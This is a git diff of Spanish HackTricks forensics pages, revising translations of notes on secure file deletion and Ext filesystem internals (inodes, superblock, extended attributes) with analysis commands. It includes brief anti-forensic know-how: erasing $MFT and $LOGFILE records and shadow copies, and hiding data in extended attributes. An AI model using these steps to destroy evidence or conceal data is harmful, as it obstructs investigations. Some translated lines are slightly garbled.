||||
{% endcontent-ref %}
|
||||
|
||||
### Eliminación Segura
|
||||
### Eliminación segura
|
||||
|
||||
Obviamente, hay formas de **eliminar "de forma segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar los registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las Copias de Sombra del Volumen**.\
|
||||
Puedes notar que incluso realizando esa acción todavía puede haber **otras partes donde la existencia del archivo aún está registrada**, y eso es cierto y parte del trabajo del profesional forense es encontrarlas.
|
||||
Obviamente, hay formas de **eliminar de manera "segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las Copias de Seguridad de Volumen**.\
|
||||
Puedes notar que incluso realizando esa acción, puede haber **otras partes donde la existencia del archivo aún esté registrada**, y eso es cierto y parte del trabajo profesional forense es encontrarlas.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -256,14 +256,14 @@ Puedes notar que incluso realizando esa acción todavía puede haber **otras par
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,46 +1,46 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Ext - Sistema de Archivos Extendido
|
||||
# Ext - Sistema de archivos extendido
|
||||
|
||||
**Ext2** es el sistema de archivos más común para particiones **sin journaling** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con journaling** y se utilizan normalmente para el **resto de las particiones**.
|
||||
**Ext2** es el sistema de archivos más común para **particiones sin registro** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con registro** y se utilizan generalmente para las **otras particiones**.
|
||||
|
||||
Todos los grupos de bloques en el sistema de archivos tienen el mismo tamaño y se almacenan secuencialmente. Esto permite al kernel derivar fácilmente la ubicación de un grupo de bloques en un disco a partir de su índice entero.
|
||||
Todos los grupos de bloques en el sistema de archivos tienen el mismo tamaño y se almacenan de forma secuencial. Esto permite al kernel derivar fácilmente la ubicación de un grupo de bloques en un disco a partir de su índice entero.
|
||||
|
||||
Cada grupo de bloques contiene la siguiente información:
|
||||
|
||||
* Una copia del superbloque del sistema de archivos
|
||||
* Una copia de los descriptores de grupo de bloques
|
||||
* Una copia de los descriptores del grupo de bloques
|
||||
* Un mapa de bits de bloques de datos que se utiliza para identificar los bloques libres dentro del grupo
|
||||
* Un mapa de bits de inodos, que se utiliza para identificar los inodos libres dentro del grupo
|
||||
* tabla de inodos: consiste en una serie de bloques consecutivos, cada uno de los cuales contiene un número predefinido de inodos de Ext2. Todos los inodos tienen el mismo tamaño: 128 bytes. Un bloque de 1,024 bytes contiene 8 inodos, mientras que un bloque de 4,096 bytes contiene 32 inodos. Cabe destacar que en Ext2, no es necesario almacenar en disco un mapeo entre un número de inodo y el número de bloque correspondiente porque este último valor se puede derivar del número de grupo de bloques y la posición relativa dentro de la tabla de inodos. Por ejemplo, supongamos que cada grupo de bloques contiene 4,096 inodos y queremos saber la dirección en el disco del inodo 13,021. En este caso, el inodo pertenece al tercer grupo de bloques y su dirección de disco se almacena en la entrada 733 de la tabla de inodos correspondiente. Como puedes ver, el número de inodo es simplemente una clave utilizada por las rutinas de Ext2 para recuperar rápidamente el descriptor de inodo adecuado en el disco
|
||||
* tabla de inodos: consta de una serie de bloques consecutivos, cada uno de los cuales contiene un número predefinido de inodos de la Figura 1 Ext2. Todos los inodos tienen el mismo tamaño: 128 bytes. Un bloque de 1,024 bytes contiene 8 inodos, mientras que un bloque de 4,096 bytes contiene 32 inodos. Tenga en cuenta que en Ext2, no es necesario almacenar en disco un mapeo entre un número de inodo y el número de bloque correspondiente porque el último valor se puede derivar del número de grupo de bloques y la posición relativa dentro de la tabla de inodos. Por ejemplo, supongamos que cada grupo de bloques contiene 4,096 inodos y que queremos conocer la dirección en el disco del inodo 13,021. En este caso, el inodo pertenece al tercer grupo de bloques y su dirección en disco se almacena en la 733ª entrada de la tabla de inodos correspondiente. Como puede ver, el número de inodo es solo una clave utilizada por las rutinas de Ext2 para recuperar rápidamente el descriptor de inodo adecuado en el disco
|
||||
* bloques de datos, que contienen archivos. Cualquier bloque que no contenga información significativa se considera libre.
|
||||
|
||||
![](<../../../.gitbook/assets/image (406).png>)
|
||||
|
||||
## Características Opcionales de Ext
|
||||
## Características opcionales de Ext
|
||||
|
||||
**Las características afectan dónde** se encuentra la información, **cómo** se almacena la información en los inodos y algunas de ellas pueden proporcionar **metadatos adicionales** para el análisis, por lo tanto, las características son importantes en Ext.
|
||||
**Las características afectan dónde** se encuentra los datos, **cómo** se almacenan los datos en los inodos y algunas de ellas podrían proporcionar **metadatos adicionales** para el análisis, por lo tanto, las características son importantes en Ext.
|
||||
|
||||
Ext tiene características opcionales que tu sistema operativo puede o no soportar, hay 3 posibilidades:
|
||||
Ext tiene características opcionales que su sistema operativo puede o no admitir, hay 3 posibilidades:
|
||||
|
||||
* Compatible
|
||||
* Incompatible
|
||||
* Solo Lectura Compatible: Se puede montar pero no para escribir
|
||||
* Compatible solo lectura: Se puede montar pero no para escribir
|
||||
|
||||
Si hay características **incompatibles** no podrás montar el sistema de archivos ya que el sistema operativo no sabrá cómo acceder a los datos.
|
||||
Si hay características **incompatibles**, no podrás montar el sistema de archivos ya que el sistema operativo no sabrá cómo acceder a los datos.
|
||||
|
||||
{% hint style="info" %}
|
||||
Un atacante sospechoso podría tener extensiones no estándar
|
||||
|
@ -50,7 +50,7 @@ Un atacante sospechoso podría tener extensiones no estándar
|
|||
|
||||
## Superbloque
|
||||
|
||||
El superbloque son los primeros 1024 bytes desde el inicio y se repite en el primer bloque de cada grupo y contiene:
|
||||
El superbloque es los primeros 1024 bytes desde el inicio y se repite en el primer bloque de cada grupo y contiene:
|
||||
|
||||
* Tamaño de bloque
|
||||
* Bloques totales
|
||||
|
@ -61,97 +61,97 @@ El superbloque son los primeros 1024 bytes desde el inicio y se repite en el pri
|
|||
* Nombre del volumen
|
||||
* Última hora de escritura
|
||||
* Última hora de montaje
|
||||
* Ruta donde se montó el sistema de archivos por última vez
|
||||
* Ruta donde se montó por última vez el sistema de archivos
|
||||
* Estado del sistema de archivos (¿limpio?)
|
||||
|
||||
Es posible obtener esta información de un archivo de sistema de archivos Ext usando:
|
||||
Es posible obtener esta información de un archivo de sistema de archivos Ext utilizando:
|
||||
```bash
|
||||
fsstat -o <offsetstart> /pat/to/filesystem-file.ext
|
||||
#You can get the <offsetstart> with the "p" command inside fdisk
|
||||
```
|
||||
También puedes usar la aplicación GUI gratuita: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
Puedes usar la aplicación GUI gratuita: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
O también puedes usar **python** para obtener la información del superbloque: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/)
|
||||
|
||||
## inodos
|
||||
|
||||
Los **inodos** contienen la lista de **bloques** que **contienen** los **datos** reales de un **archivo**.\
|
||||
Los **inodos** contienen la lista de **bloques** que **contienen** los datos reales de un **archivo**.\
|
||||
Si el archivo es grande, un inodo **puede contener punteros** a **otros inodos** que apuntan a los bloques/más inodos que contienen los datos del archivo.
|
||||
|
||||
![](<../../../.gitbook/assets/image (416).png>)
|
||||
|
||||
En **Ext2** y **Ext3** los inodos tienen un tamaño de **128B**, **Ext4** actualmente utiliza **156B** pero asigna **256B** en disco para permitir una futura expansión.
|
||||
En **Ext2** y **Ext3** los inodos tienen un tamaño de **128B**, **Ext4** actualmente usa **156B** pero asigna **256B** en disco para permitir una expansión futura.
|
||||
|
||||
Estructura del inodo:
|
||||
|
||||
| Offset | Tamaño | Nombre | Descripción |
|
||||
| ------ | ------ | ------------------- | ------------------------------------------------ |
|
||||
| 0x0 | 2 | Modo de archivo | Modo y tipo de archivo |
|
||||
| 0x2 | 2 | UID | 16 bits inferiores del ID del propietario |
|
||||
| 0x4 | 4 | Tamaño Il | 32 bits inferiores del tamaño del archivo |
|
||||
| 0x8 | 4 | Atime | Tiempo de acceso en segundos desde la época |
|
||||
| 0xC | 4 | Ctime | Tiempo de cambio en segundos desde la época |
|
||||
| 0x10 | 4 | Mtime | Tiempo de modificación en segundos desde la época|
|
||||
| 0x14 | 4 | Dtime | Tiempo de eliminación en segundos desde la época |
|
||||
| 0x18 | 2 | GID | 16 bits inferiores del ID del grupo |
|
||||
| 0x1A | 2 | Conteo de Hlink | Conteo de enlaces duros |
|
||||
| 0xC | 4 | Bloques Io | 32 bits inferiores del conteo de bloques |
|
||||
| 0x20 | 4 | Banderas | Banderas |
|
||||
| 0x24 | 4 | Unión osd1 | Linux: Versión I |
|
||||
| 0x28 | 69 | Bloque\[15] | 15 puntos al bloque de datos |
|
||||
| 0x64 | 4 | Versión | Versión de archivo para NFS |
|
||||
| Offset | Tamaño | Nombre | Descripción |
|
||||
| ------ | ------ | ----------------- | ------------------------------------------------ |
|
||||
| 0x0 | 2 | Modo de archivo | Modo de archivo y tipo |
|
||||
| 0x2 | 2 | UID | 16 bits inferiores del ID del propietario |
|
||||
| 0x4 | 4 | Tamaño Il | 32 bits inferiores del tamaño del archivo |
|
||||
| 0x8 | 4 | Atime | Tiempo de acceso en segundos desde la época |
|
||||
| 0xC | 4 | Ctime | Tiempo de cambio en segundos desde la época |
|
||||
| 0x10 | 4 | Mtime | Tiempo de modificación en segundos desde la época|
|
||||
| 0x14 | 4 | Dtime | Tiempo de eliminación en segundos desde la época |
|
||||
| 0x18 | 2 | GID | 16 bits inferiores del ID de grupo |
|
||||
| 0x1A | 2 | Recuento de enlaces duros | Cantidad de enlaces duros |
|
||||
| 0xC | 4 | Bloques Io | 32 bits inferiores del recuento de bloques |
|
||||
| 0x20 | 4 | Banderas | Banderas |
|
||||
| 0x24 | 4 | Unión osd1 | Linux: versión I |
|
||||
| 0x28 | 69 | Bloque\[15] | 15 puntos al bloque de datos |
|
||||
| 0x64 | 4 | Versión | Versión del archivo para NFS |
|
||||
| 0x68 | 4 | ACL de archivo bajo | 32 bits inferiores de atributos extendidos (ACL, etc) |
|
||||
| 0x6C | 4 | Tamaño de archivo alto | 32 bits superiores del tamaño del archivo (solo ext4) |
|
||||
| 0x70 | 4 | Fragmento obsoleto | Dirección de fragmento obsoleta |
|
||||
| 0x74 | 12 | Osd 2 | Segunda unión dependiente del sistema operativo |
|
||||
| 0x74 | 2 | Bloques alto | 16 bits superiores del conteo de bloques |
|
||||
| 0x76 | 2 | ACL de archivo alto | 16 bits superiores de atributos extendidos (ACL, etc.) |
|
||||
| 0x78 | 2 | UID alto | 16 bits superiores del ID del propietario |
|
||||
| 0x7A | 2 | GID alto | 16 bits superiores del ID del grupo |
|
||||
| 0x7C | 2 | Chequeo Io | 16 bits inferiores del chequeo del inodo |
|
||||
| 0x70 | 4 | Fragmento obsoleto | Una dirección de fragmento obsoleta |
|
||||
| 0x74 | 12 | Osd 2 | Segunda unión dependiente del sistema operativo |
|
||||
| 0x74 | 2 | Bloques altos | 16 bits superiores del recuento de bloques |
|
||||
| 0x76 | 2 | ACL de archivo alto | 16 bits superiores de atributos extendidos (ACL, etc) |
|
||||
| 0x78 | 2 | UID alto | 16 bits superiores del ID del propietario |
|
||||
| 0x7A | 2 | GID alto | 16 bits superiores del ID de grupo |
|
||||
| 0x7C | 2 | Suma de comprobación Io | 16 bits inferiores de la suma de comprobación del inodo |
|
||||
|
||||
"Modificar" es la marca de tiempo de la última vez que el _contenido_ del archivo ha sido modificado. A menudo se llama "_mtime_".\
|
||||
"Cambiar" es la marca de tiempo de la última vez que el _inodo_ del archivo ha sido cambiado, como al cambiar permisos, propiedad, nombre del archivo y el número de enlaces duros. A menudo se llama "_ctime_".
|
||||
"Cambiar" es la marca de tiempo de la última vez que el _inodo_ del archivo ha sido cambiado, como al cambiar permisos, propiedad, nombre de archivo y el número de enlaces duros. A menudo se llama "_ctime_".
|
||||
|
||||
Estructura extendida del inodo (Ext4):
|
||||
|
||||
| Offset | Tamaño | Nombre | Descripción |
|
||||
| ------ | ------ | -------------- | --------------------------------------------- |
|
||||
| 0x80 | 2 | Tamaño extra | Cuántos bytes más allá del estándar de 128 se usan |
|
||||
| 0x82 | 2 | Chequeo alto | 16 bits superiores del chequeo del inodo |
|
||||
| 0x84 | 4 | Ctime extra | Bits extra del tiempo de cambio |
|
||||
| 0x88 | 4 | Mtime extra | Bits extra del tiempo de modificación |
|
||||
| 0x8C | 4 | Atime extra | Bits extra del tiempo de acceso |
|
||||
| Offset | Tamaño | Nombre | Descripción |
|
||||
| ------ | ------ | -------------- | ------------------------------------------- |
|
||||
| 0x80 | 2 | Tamaño extra | Cuántos bytes más allá de los 128 estándar se utilizan |
|
||||
| 0x82 | 2 | Suma de comprobación alta | 16 bits superiores de la suma de comprobación del inodo |
|
||||
| 0x84 | 4 | Ctime extra | Bits extra de tiempo de cambio |
|
||||
| 0x88 | 4 | Mtime extra | Bits extra de tiempo de modificación |
|
||||
| 0x8C | 4 | Atime extra | Bits extra de tiempo de acceso |
|
||||
| 0x90 | 4 | Crtime | Tiempo de creación del archivo (segundos desde la época) |
|
||||
| 0x94 | 4 | Crtime extra | Bits extra del tiempo de creación del archivo |
|
||||
| 0x98 | 4 | Versión alta | 32 bits superiores de la versión |
|
||||
| 0x9C | | No utilizado | Espacio reservado para futuras expansiones |
|
||||
| 0x94 | 4 | Crtime extra | Bits extra de tiempo de creación del archivo |
|
||||
| 0x98 | 4 | Versión alta | 32 bits superiores de la versión |
|
||||
| 0x9C | | No utilizado | Espacio reservado para expansiones futuras |
|
||||
|
||||
Inodos especiales:
|
||||
|
||||
| Inodo | Propósito Especial |
|
||||
| ----- | ------------------------------------------------------- |
|
||||
| 0 | No existe tal inodo, la numeración comienza en 1 |
|
||||
| 1 | Lista de bloques defectuosos |
|
||||
| 2 | Directorio raíz |
|
||||
| 3 | Cuotas de usuario |
|
||||
| 4 | Cuotas de grupo |
|
||||
| 5 | Cargador de arranque |
|
||||
| 6 | Directorio de recuperación de archivos eliminados |
|
||||
| 7 | Descriptores de grupo reservados (para redimensionar el sistema de archivos) |
|
||||
| 8 | Diario |
|
||||
| 9 | Inodo de exclusión (para instantáneas) |
|
||||
| 10 | Inodo de réplica |
|
||||
| 11 | Primer inodo no reservado (a menudo perdido + encontrado) |
|
||||
| Inodo | Propósito especial |
|
||||
| ----- | ---------------------------------------------------- |
|
||||
| 0 | No existe tal inodo, la numeración comienza en 1 |
|
||||
| 1 | Lista de bloques defectuosos |
|
||||
| 2 | Directorio raíz |
|
||||
| 3 | Cuotas de usuario |
|
||||
| 4 | Cuotas de grupo |
|
||||
| 5 | Cargador de arranque |
|
||||
| 6 | Directorio de recuperación |
|
||||
| 7 | Descriptores de grupo reservados (para cambiar el tamaño del sistema de archivos) |
|
||||
| 8 | Diario |
|
||||
| 9 | Inodo excluido (para instantáneas) |
|
||||
| 10 | Inodo de réplica |
|
||||
| 11 | Primer inodo no reservado (a menudo lost + found) |
|
||||
|
||||
{% hint style="info" %}
|
||||
Nota que el tiempo de creación solo aparece en Ext4.
|
||||
Nota que la hora de creación solo aparece en Ext4.
|
||||
{% endhint %}
|
||||
|
||||
Conociendo el número de inodo, puedes encontrar fácilmente su índice:
|
||||
Al conocer el número de inodo, puedes encontrar fácilmente su índice:
|
||||
|
||||
* **Grupo de bloques** al que pertenece un inodo: (Número de inodo - 1) / (Inodos por grupo)
|
||||
* **Índice dentro de su grupo**: (Número de inodo - 1) mod(Inodos/grupo)
|
||||
* **Desplazamiento** en la **tabla de inodos**: Número de inodo \* (Tamaño del inodo)
|
||||
* **Índice dentro de su grupo**: (Número de inodo - 1) mod (Inodos/grupos)
|
||||
* **Desplazamiento** en la **tabla de inodos**: Número de inodo \* (Tamaño de inodo)
|
||||
* El "-1" es porque el inodo 0 no está definido (no se usa)
|
||||
```bash
|
||||
ls -ali /bin | sort -n #Get all inode numbers and sort by them
|
||||
|
@ -159,17 +159,17 @@ stat /bin/ls #Get the inode information of a file
|
|||
istat -o <start offset> /path/to/image.ext 657103 #Get information of that inode inside the given ext file
|
||||
icat -o <start offset> /path/to/image.ext 657103 #Cat the file
|
||||
```
|
||||
Modo de Archivo
|
||||
### Modo de Archivo
|
||||
|
||||
| Número | Descripción |
|
||||
| ------ | --------------------------------------------------------------------------------------------------- |
|
||||
| **15** | **Reg/Slink-13/Socket-14** |
|
||||
| **14** | **Directorio/Bloque Bit 13** |
|
||||
| **13** | **Dispositivo Char/Bloque Bit 14** |
|
||||
| **14** | **Directorio/Bit de Bloque 13** |
|
||||
| **13** | **Dispositivo de Carácter/Bit de Bloque 14** |
|
||||
| **12** | **FIFO** |
|
||||
| 11 | Set UID |
|
||||
| 10 | Set GID |
|
||||
| 9 | Sticky Bit (sin él, cualquiera con permisos de escritura y ejecución en un directorio puede eliminar y renombrar archivos) |
|
||||
| 9 | Bit Sticky (sin él, cualquiera con permisos de escritura y ejecución en un directorio puede eliminar y renombrar archivos) |
|
||||
| 8 | Lectura del Propietario |
|
||||
| 7 | Escritura del Propietario |
|
||||
| 6 | Ejecución del Propietario |
|
||||
|
@ -182,61 +182,46 @@ Modo de Archivo
|
|||
|
||||
Los bits en negrita (12, 13, 14, 15) indican el tipo de archivo que es (un directorio, socket...) solo una de las opciones en negrita puede existir.
|
||||
|
||||
Directorios
|
||||
### Directorios
|
||||
|
||||
| Desplazamiento | Tamaño | Nombre | Descripción |
|
||||
| -------------- | ------ | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 4 | Inode | |
|
||||
| 0x4 | 2 | Long. de reg | Longitud del registro |
|
||||
| 0x6 | 1 | Long. de nom | Longitud del nombre |
|
||||
| 0x7 | 1 | Tipo de arch | <p>0x00 Desconocido<br>0x01 Regular</p><p>0x02 Directorio</p><p>0x03 Dispositivo Char</p><p>0x04 Dispositivo Bloque</p><p>0x05 FIFO</p><p>0x06 Socket</p><p>0x07 Enlace Simb</p> |
|
||||
| 0x8 | | Nombre | Cadena de nombre (hasta 255 caracteres) |
|
||||
| Desplazamiento | Tamaño | Nombre | Descripción |
|
||||
| ------ | ---- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 4 | Inodo | |
|
||||
| 0x4 | 2 | Longitud de Registro | Longitud del registro |
|
||||
| 0x6 | 1 | Longitud del Nombre | Longitud del nombre |
|
||||
| 0x7 | 1 | Tipo de Archivo | <p>0x00 Desconocido<br>0x01 Regular</p><p>0x02 Directorio</p><p>0x03 Dispositivo de Carácter</p><p>0x04 Dispositivo de Bloque</p><p>0x05 FIFO</p><p>0x06 Socket</p><p>0x07 Enlace Símbolico</p> |
|
||||
| 0x8 | | Nombre | Cadena de nombre (hasta 255 caracteres) |
|
||||
|
||||
**Para aumentar el rendimiento, se pueden utilizar bloques de directorio de Hash Raíz.**
|
||||
**Para aumentar el rendimiento, se pueden utilizar bloques de directorio de hash raíz.**
|
||||
|
||||
**Atributos Extendidos**
|
||||
### Atributos Extendidos
|
||||
|
||||
Pueden almacenarse en
|
||||
Pueden ser almacenados en
|
||||
|
||||
* Espacio extra entre inodos (256 - tamaño del inodo, usualmente = 100)
|
||||
* Un bloque de datos señalado por file\_acl en inodo
|
||||
* Espacio adicional entre inodos (256 - tamaño de inodo, generalmente = 100)
|
||||
* Un bloque de datos apuntado por file\_acl en el inodo
|
||||
|
||||
Pueden utilizarse para almacenar cualquier cosa como un atributo de usuario si el nombre comienza con "user". Así, los datos pueden ocultarse de esta manera.
|
||||
Se pueden usar para almacenar cualquier cosa como un atributo de usuario si el nombre comienza con "user". De esta manera, los datos pueden estar ocultos.
|
||||
|
||||
Entradas de Atributos Extendidos
|
||||
|
||||
| Desplazamiento | Tamaño | Nombre | Descripción |
|
||||
| -------------- | ------ | -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 1 | Long. de nom | Longitud del nombre del atributo |
|
||||
| 0x1 | 1 | Índice de nom | <p>0x0 = sin prefijo</p><p>0x1 = usuario. Prefijo</p><p>0x2 = system.posix_acl_access</p><p>0x3 = system.posix_acl_default</p><p>0x4 = confiable.</p><p>0x6 = seguridad.</p><p>0x7 = sistema.</p><p>0x8 = system.richacl</p> |
|
||||
| 0x2 | 2 | Despl. de val | Desplazamiento desde la primera entrada de inodo o inicio de bloque |
|
||||
| 0x4 | 4 | Bloques de val | Bloque de disco donde se almacena el valor o cero para este bloque |
|
||||
| 0x8 | 4 | Tamaño de val | Longitud del valor |
|
||||
| 0xC | 4 | Hash | Hash para atributos en bloque o cero si está en inodo |
|
||||
| 0x10 | | Nombre | Nombre del atributo sin NULL al final |
|
||||
| ------ | ---- | ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 1 | Longitud del Nombre | Longitud del nombre del atributo |
|
||||
| 0x1 | 1 | Índice del Nombre | <p>0x0 = sin prefijo</p><p>0x1 = prefijo user.</p><p>0x2 = system.posix_acl_access</p><p>0x3 = system.posix_acl_default</p><p>0x4 = trusted.</p><p>0x6 = security.</p><p>0x7 = system.</p><p>0x8 = system.richacl</p> |
|
||||
| 0x2 | 2 | Desplazamiento del Valor | Desplazamiento desde la primera entrada de inodo o inicio del bloque |
|
||||
| 0x4 | 4 | Bloques de Valor | Bloque de disco donde se almacena el valor o cero para este bloque |
|
||||
| 0x8 | 4 | Tamaño del Valor | Longitud del valor |
|
||||
| 0xC | 4 | Hash | Hash para atributos en el bloque o cero si está en el inodo |
|
||||
| 0x10 | | Nombre | Nombre del atributo sin NULL final |
|
||||
```bash
|
||||
setfattr -n 'user.secret' -v 'This is a secret' file.txt #Save a secret using extended attributes
|
||||
getfattr file.txt #Get extended attribute names of a file
|
||||
getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret"
|
||||
```
|
||||
## Vista del Sistema de Archivos
|
||||
## Vista del sistema de archivos
|
||||
|
||||
Para ver el contenido del sistema de archivos, puedes **usar la herramienta gratuita**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
O puedes montarlo en tu linux usando el comando `mount`.
|
||||
Para ver el contenido del sistema de archivos, puedes **utilizar la herramienta gratuita**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
O puedes montarlo en tu Linux usando el comando `mount`.
|
||||
|
||||
[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
|
||||
</details>
|
||||
[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=El%20sistema%20de%20archivos%20Ext2%20divide,tiempo%20promedio%20de%20búsqueda%20en%20disco.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=El%20sistema%20de%20archivos%20Ext2%20divide,tiempo%20promedio%20de%20búsqueda%20en%20disco.)
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
